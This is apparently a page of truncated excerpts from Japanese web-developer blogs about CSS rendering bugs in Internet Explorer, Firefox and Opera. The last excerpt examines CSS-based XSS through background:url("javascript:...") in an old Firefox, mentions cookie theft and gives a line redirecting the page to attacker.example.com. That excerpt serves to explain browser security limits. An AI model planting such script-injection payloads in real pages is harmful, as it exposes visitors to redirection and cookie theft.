http://uupaa-js.googlecode.com/svn/trunk/0.8/test/BrowserBug/IE/ie8_ie9_outline_zindex.htm outline 自体の描画もおかしなことになっています。
10/26/2009 18:12 の Flash News : DAILY YOMIURI ONLINE のスクリーンショット。上はOpera, 下はFirefox. OSは関係ないと思うけど、いずれもWindowsXP. Operaでは U.N. の U の font-size が他よりも大きく、font-weight が bold になっている。それに対してFirefoxでは U.N. の U だけでなく後続するピリオドまでがそれらのプロパティの適用を受けている。 CSSを見る。 p.fl:first-letter { font-size: 170%; font-weight:bold; line-height:100%; } 実験してみてわかった。Firefoxはピリオドだけでなくクォーテーションについても同様の解釈をするね。つまりピリオドとかクォーテーションはletterではない、
One of the most bizarre statistical facts in relation to browser use has to be the virtual widespread numbers that currently exist in the use of Internet Explorer versions 6, 7 and 8. As of this writing, Internet Explorer holds about a 65% market share combined across all their currently used browsers. In the web development community, this number is much lower, showing about a 40% share. The inte
IE8のBeta2が出たので、さっくりとだが自サイトでCSS対応の検証をしてみた。 以下は気づいたこと。 IE7にあった件のバグは修正された。 標準モードでは、expression()が使えなくなった(互換モードではOK)。 CSS 式は、高いパフォーマンス コストを持つ CSS に独自の拡張機能です。 (CSS 式"Dynamic Properties") とも呼ばれます Internet Explorer 8 Beta 2 以降、CSS 式がなった Internet Explorer 8 標準モードでサポートされていません。 CSS 式は Internet Explorer 7 Strict モードと下位互換性を維持するために Quirks モードででもサポートされています。 しっかし、この機械翻訳はなんとかならんのかね^^; 原文は、 CSS Expressions is a pro
定義リストで、dtとddを横並びにしたいとき、ddのマージンの調整でそれを実現するやり方は私がよく使うテクニックなのだが、あるとき、IE7で見たらdtがすっかり消えていて、あわてたことがある。原因は、またしても、その定義リストを含むボックスへの背景画像の指定だった。 [該当するブラウザ] Windows/IE7.0以下 症状 たとえば、年表のようなリストを角マルの矩形で囲むレイアウトを組んだとする(右図)。 角マル矩形は、 frame_top.gif(トップの部分)、 frame_bg.gif(中間部分)、 frame_btm.gif(ボトムの部分)、 以上3つの画像を、dlおよびdlを含むボックスに背景として指定することで実現している。詳細は以下の通りである(→サンプルページ1)。 【スタイルシート】 body { margin: 10px; padding: 0; } .box { w
CSSの:first-letterの記述でIEが落ちる 個人運営のブログのHTMLのマークアップを書き換えた際に見舞われたトラブル。 Firefox 2,3/Safari 3/Opera 9.5/IE 7,6,5.5,5.0/MacIE 5.2 で検証したのだが、スタンドアローン版IE6.0でだけコーディングしたページを開くとIEが強制終了する現象が発生。Microsoft Virtual PC 2007 SP1のゲストOSにインストールされている通常版のIE6は問題なかったので気が付かなかったのだ。スタンドアローンだから仕方ないのか...細かい一部のリビジョンでは発生するのかもしれない。 デザインが崩れるのはまだしも、ソフトがいきなり落ちるのはさすがによろしくない。まず何が原因なのか調べてみた。 HTML の記述におかしな所がないか調べる。文法チェックもかけてみたが問題ない模様。
今日、cssでカラムをfloatさせている際に、驚きの出来事がありました。 IEで親の幅に合わせてピタピタに左右のカラムのwidthを設定すると、レイアウトが崩れる…ってのはよくあることですが、なんと、そんなわけでもないのにレイアウトが崩れたのです。 原因を探しても探しても、どーーーー頑張っても見つからず…。 だって、ピタピタにしたわけじゃないんですもの。余裕がある上に、leftとrightで分けたんですもの。 そこで、最後の手段的なものとして、アテで入れていた<img src="#" alt="*******" />のalt部分を削除してみました。altだけ適当に長いものを入れてたんです。 するとどーーーでしょーーー! レイアウトが直った…。 ま、まさかこのaltがジャマをしてくださっていたとは…。 こんな作り方をされる方はめったにいないでしょうが、もし、IEでfloatした時にレイ
てんぽ: IE6のCSSバグを視覚的にチェック CSSやHTML、FC2ブログのカスタマイズ、共有テンプレートなど IE用Acidテストとも言えるCSSバグのチェックページを作ってみました。 IE6で表示するとすべてのチェック項目で「NG」と表示されますが、正しい表示を行うブラウザなら「OK」と表示されるはずです。 IEtest (beta) 具体的にはどうやっているかというと、たとえば「position: absoluteが指定されたボックスの幅をパーセントで指定したとき、 幅の参照先を、そのボックスの包含ブロックではなく、間近の親要素にしてしまうバグ」をチェックするコードは以下のようになっています。 <div class="container"> <div class="div1"> <div class="div2"></div> </div> </div> .container {
Make a note of it: Web tech, montaineering, and so on. ナビゲーション等で画像を切り替えたい場合、CSSを用いて a:hover の背景画像をずらしたり消したりして実現する方法が良く取られます。この時、Internet Exploler 6 において背景画像のちらつき(砂時計のアイコン表示)や動作の遅延が発生する(ローカルでは確認しにくいので、注意)。サンプルは以下。 »IE6 background flickr この問題はIE6固有の問題であり、他のモダンブラウザやIE5等では発現しない。背景画像のキャッシュに関わる問題。hover時のbackgroundに変更を加えると再読込が起こるようです。したがって転送速度やファイルサイズによって程度が変わる。ブラウザの設定によっても回避できるみたいですが、Web屋としてそこはスルーしたい。解決
[みんなのお題]ie7の「ページの拡大」によるレイアウト崩れは「letter-spacing」で回避できる? 公開日時: 2008/01/09 01:40 著者: ミキ・オキタ この記事のトピック Internet Explorer 7「ページの拡大」機能でレイアウトが崩れる 「letter-spacing」で「ページの拡大」時のレイアウト崩れを回避 Internet Explorer 7「ページの拡大」機能でレイアウトが崩れる こんにちは。“時代の3歩先をねらうWeb屋さん”ミキ・オキタです。 このブログ「WebClip ウェブデザインのニュース」では、Webデザイン・Webマーケティングの話題をお届けしている。 今回は、Web制作者にとって悩ましいブラウザの問題のひとつ、Internet Explorer 7の「ページの拡大」機能によるレイアウト崩れの回避方法について。 僕
先日、友達の依頼で XHTML+CSS のコーディングをしていたところ、position:absolute を指定したボックスが Win版IE6 でのみ表示されないという現象に出くわしました。あちこち調べてみたところ、かなり厄介な IE のバグのようで、消えるときの条件がいろいろあることがわかったので、整理してみたいと思います。 まず最初に見つけたのが、以下のサイト。 » IEで position:absolute した要素が消えるバグ こちらで紹介されているのは、float と clear にはさまれた position:absolute が消えてしまう現象とその対策。でも、私がはまったケースでは、position:abloslute の前には float がありません。紹介されているように clear を追加してみても当然ダメ。う~ん、なぜだ・・・ 日本語のリソースを調べてみても解決策
IE5.xやIE6の互換モードがidやclass名の大文字小文字を区別しないのは、わりと知られています。 これとラクダ式id、class名を使えば、cssの振り分けができるなーとか思いつきました。 ちなみにラクダ式とは、「mainContent」や「subNavi」など2単語以上からなるid、class名を、ハイフンではなく2単語目を大文字にして可読性を上げる書き方の事です。 camelと英語で呼ぶ人もいるとか。 個人的には結構好き。 HTMLとCSSのソース /* for modern brow */ #sampleA { color: blue; } /* for IE5 6 */ #samplea { color: red; } <p id="sampleA">ほげほげ</p> これで、IE5.xとIE6互換モードでは文字が赤に、Firefoxなどでは青になります。 なお、他の人が見
バージョン Firefoxの1.508ぐらいの古いもので考えてみました。 background:url("javascript:ほえほえ") background:url("javascript:ほえほえ");Firefoxでは上記のようなスタイル記述をほどこしたbody要素内の各要素で、ほえほえを安易に書いたときに、documentオブジェクトには手が出せません。つまりcookieを単純に盗み出すことが出来ないのかもしれません。権限がないというエラーメッセージが出るのです。また、JavaScriptの組み込み関数も利用できません。alert()とか。XSSされにくい感じです。windowオブジェクトにも制限がかかっているかもしれません。 でもでもでも locationオブジェクトそのものに値を設定はできます。 location="attacker.example.com";これでURLの
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